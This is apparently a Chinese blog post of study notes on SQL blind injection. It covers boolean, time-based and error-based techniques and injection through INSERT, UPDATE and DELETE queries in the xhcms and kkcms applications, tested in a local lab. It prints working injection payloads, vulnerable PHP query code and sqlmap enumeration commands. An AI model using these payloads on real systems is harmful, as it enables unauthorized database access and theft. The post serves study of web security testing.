chenhongl

导航

 

#知识点:
1、明确查询方式注入Payload
2、明确查询方式注入产生功能
3、明确SQL盲注延时&布尔&报错

 

 

一、盲注

盲注:就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

 

盲注攻击分为以下三类:
  - 基于布尔的SQL盲注 - 逻辑判断:有数据库输出为判断标准
    借助sql语句中支持的函数,比如:regexp,like,ascii,left,ord,mid等
  - 基于时间的SQL盲注 - 延时判断:都不需要
    if,sleep
  - 基于报错的SQL盲注 - 报错回显:程序员在代码中写了数据库容错处理(or die....)为判断标准

    floor,updatexml,extractvalue

      12种报错注入+万能语句:https://www.jianshu.com/p/bc35f8dd4f7c

 

【例】:

1. 基于布尔的SQL盲注-逻辑判断

①http://127.0.0.1:81/book/news.php?id=1 and length(database())=11   //猜对数据库的长度为11,页面显示正常

http://127.0.0.1:81/book/news.php?id=1 and length(database())=1     //猜错数据库长度,页面显示错误

  

② http://127.0.0.1:81/book/news.php?id=1 and left(database(),1)='s'   //猜对数据库左边的一位为's' ,页面显示正常

 

2. 基于时间的SQL盲注-延时判断

判断是否延迟,主要看两个不同数据包的返回包时间差,在burpsuite下的右下角

① 直接访问页面查看页面回显时间(没有延迟,16ms)

 ② 加了if 延时判断

http://127.0.0.1:81/book/news.php?id=1 and if(1=1,sleep(5),0)   //页面回显延迟(5s)

 

③进一步判断

http://192.168.4.22:81/book/news.php?id=1 and if(length(database()=11),sleep(5),0)  //如果数据库名字的长度是11,就延迟5ms回显页面

 

3. 基于报错的SQL盲注-报错回显

如果程序员在代码中写了数据库容错处理(or die....)就可以用到报错盲注

查数据库版本:http://127.0.0.1:81/book/news.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

查数据库名:http://127.0.0.1:81/book/news.php?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

 

盲注参考:

like 'ro%' #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立 返回5 反之 返回0    //基于时间的SQL盲注-延时判断
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

 

基本知识本地测试:
select * from member where username like 'vi%';
select * from member where username regexp '^x';
select * from member where id=1 and sleep(1);
select * from member where id=1 and if(1>2,sleep(1),0);
select * from member where id=1 and if(1<2,sleep(1),0);
select * from member where id=1 and length(database())=7;    //基于布尔的SQL盲注-逻辑判断
select * from member where id=1 and left(database(),1)='p';    //基于布尔的SQL盲注-逻辑判断
select * from member where id=1 and left(database(),2)='pi';
select * from member where id=1 and substr(database(),1,1)='p';
select * from member where id=1 and substr(database(),2,1)='i';
select * from member where id=1 and ord(left(database(),1))=112;

 

 

二、数据库查询注入方式

 

1、SQL操作方式

select,insert,update,delete,order by等

2、SQL不同操作方式注入
① 查询方式由于增删改查四种特性决定,部分是不需要进行数据取出和显示,所以此类注入基本上需要采用盲注才能正常得到结果(黑盒测试可以根据功能判断注入查询方式)如:增加,删除,更新不会显示数据
② 查询方式增删改查四种特性决定应用功能点(会员注册,删除新闻,修改文章等)

在执行SQL语句后,获取的数据:1.输出显示(select)  2.不输出显示(只执行这个语句,并不会显示,比如insert,update,delete等)

 

3、SQL不同操作的注入
1. 查询-select-xhcms-布尔盲注

SELECT column_name,column_name FROM table_name;

 

2. 插入-insert-xhcms-报错盲注

INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

【例】:全局搜索insert into关键字,发现关键代码上的文件files/submit.php

因为插入数据操作(insert into)的执行结果并不会显示在页面,注入时考虑盲注;有数据库容错处理,考虑“基于报错的SQL盲注”来进行注入

那么应该怎么触发这个文件呢?(files/submit.php)
主要看index.php文件。

在index.php中,接受r参数,包含一个'files/'.$action.'.php'文件,只要让action=submit就可以触发这个文件。
所以,构造访问地址:127.0.0.1:8085/index.php?r=submit

 

出现错误,在进行读submit.php代码,发现进行到的代码段,需要提交一些参数:

我们可以进行自己构造参数来访问,在post自己发送参数。但是这里不需要这样去访问,我们可以测试那个文件调用了这个files/submit.php文件。
访问127.0.0.1:8087/index.php?r=contact地址,一样也可以触发submit文件
查看files/contact.php文件,看提交的数据是给谁。

那就意味着在这个文件提交的表单,会在files/submit.php文件中处理。

 

在留言板中用构造的payload提交表单:'or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or '

 

成功获取到数据库版本:

 

为什么会造成这种报错错误 - 盲注?因为有数据库容错处理

SQL语句执行代码:
$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
@mysql_query($query) or die('新增错误:'.mysql_error());

提交的payload:'or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or '
即:name='or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or '

代入SQL语句中:
$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) or '',  
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
我们在白盒上分析了这个漏洞,那么在黑盒上应该怎么分析呢?
首先观察留言框,然后看他是不是能在数据库上存储,进行SQL执行(insert语句),

也可以用sqlmap进行盲注,但是有验证码(看能不能验证码复用,或者识别验证码),所以推荐用手工注入。

 

3. 更新-update-xhcms-报错盲注

UPDATE table_name SET column1=value1,column2=value2,... WHERE some_column=some_value;

【例】

搜索关键代码update,发现在files/software.php下面有update SQL执行语句,

同样有数据库容错处理,@mysql_query($query) or die('修改错误:'.mysql_error());  

 数接收:$id=addslashes($_GET['cid']);   //cid是数字,不用考虑闭合符号

SQL执行:

$query = "UPDATE download SET hit = hit+1 WHERE id=$id";

构造访问触发地址:http://127.0.0.1:8085/index.php?r=software&cid=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

注入成功:

 

那么在黑盒中应该怎么分析?根据功能点来分析是什么注入
查看哪里调用了software文件(全局搜索),发现在submit中有调用software
调用代码:

1645229269814-033af993-5731-45ec-be08-1f1b011ea975.png

全局搜索submit调用,type类型为download的调用地方,在页面中应该是下载评论的地方,http://127.0.0.1:8087/index.php?r=software&cid=1

  

测试 http://127.0.0.1:8087/index.php?r=software&cid=1 cid的值

 

4. 删除-delete-kkcms-延时盲注

DELETE FROM 表名称 WHERE 列名称 = 值

【例】:案例kkcms
全局搜索 delete 发现文件admin/model/usergroup.php
这个注入点是在后台的(先登录后台---
那么应该怎么样触发admin/model/usergroup.php呢
如果直接访问admin/moder/usergroup.php,那肯定是有问题的。

没有发现数据库报错函数,就不能采用报错盲注,这时候只能采用延迟或布尔注入

如果直接访问文件:

http://127.0.0.1:8085/admin/model/usergroup.php?del=2 and if(1=1,sleep(5),0)  //del不能为1,默认不能删除

1645234625837-b20cf1b1-14a8-45fb-96bb-bb224a603aa6.png

 

可以看到页面执行没有延迟,有可能是sql注入语句有问题,到数据库中去执行试一下SQL语句:delete from xtcms_user_group where ug_id = 2 and if(1=1,sleep(5),0) ,结果不能执行

修改一下注入语句delete from xtcms_user_group where ug_id = 2 or if(1=1,sleep(5),0)   //将and改为or
放在数据库中执行成功:

1645235020120-d36adb1c-d988-4baa-a8b3-846733f9a903.png

发现SQL执行延迟了。重新构造一下payload:http://127.0.0.1:8085/admin/model/usergroup.php?del=2 or if(1=1,sleep(5),0)
但是页面没有延迟。

1645235243860-30025403-1c0e-4f8e-b3c2-420ba2e26888.png

 

结合SQL监控-seay源代码审计系统软件,查看sql语句是否执行,发现SQL语句根本没有执行。因为直接访问这个文件出了问题
结合包含文件查找,admin/cms_usergroup.php调用了admin/model/usergroup.php文件。
重新构造:http://127.0.0.1:8085/admin/cms_usergroup.php?del=2 or if(1=1,sleep(5),0)

监控到sql语句的执行:

1645235764509-dd198ae6-cf37-459a-880f-26275e6e5c87.png

 

采用布尔+延迟注入:

127.0.0.1:8085/admin/cms_usergroup.php?del=2 or if(left(database(),1)='k',sleep(5),0)    //如果数据库左边第一位是k,延迟5s执行

执行失败,因为里面还有转义,可以用宽字节或者ASCII码来进行注入

 

 

 

修改:将"k"用ASCII码来代替(k的ASCII码是107)

127.0.0.1:8085/admin/cms_usergroup.php?del=2 or if(ord(left(database(),1))=107,sleep(5),0)  ,可以看到延迟

 

可以用sqlmap去跑。用到数据包进行注入。(因为有cookie)
python sqlmap.py -r 1.txt

 

1645236711176-7133c071-06f1-4972-966d-284b64b09ef9.png

猜解数据:python sqlmap.py -r 1.txt --dbs
--dbs --tables --coulmns进行数据库的猜解。
查看sqlmap的payload可以加上-v 5

PLAIN 复制 全屏

1645236967948-b50164e9-bea4-4164-8309-db268fa73519.png

 

 

posted on 2024-02-23 17:05  chenhongl  阅读(156)  评论(0)    收藏  举报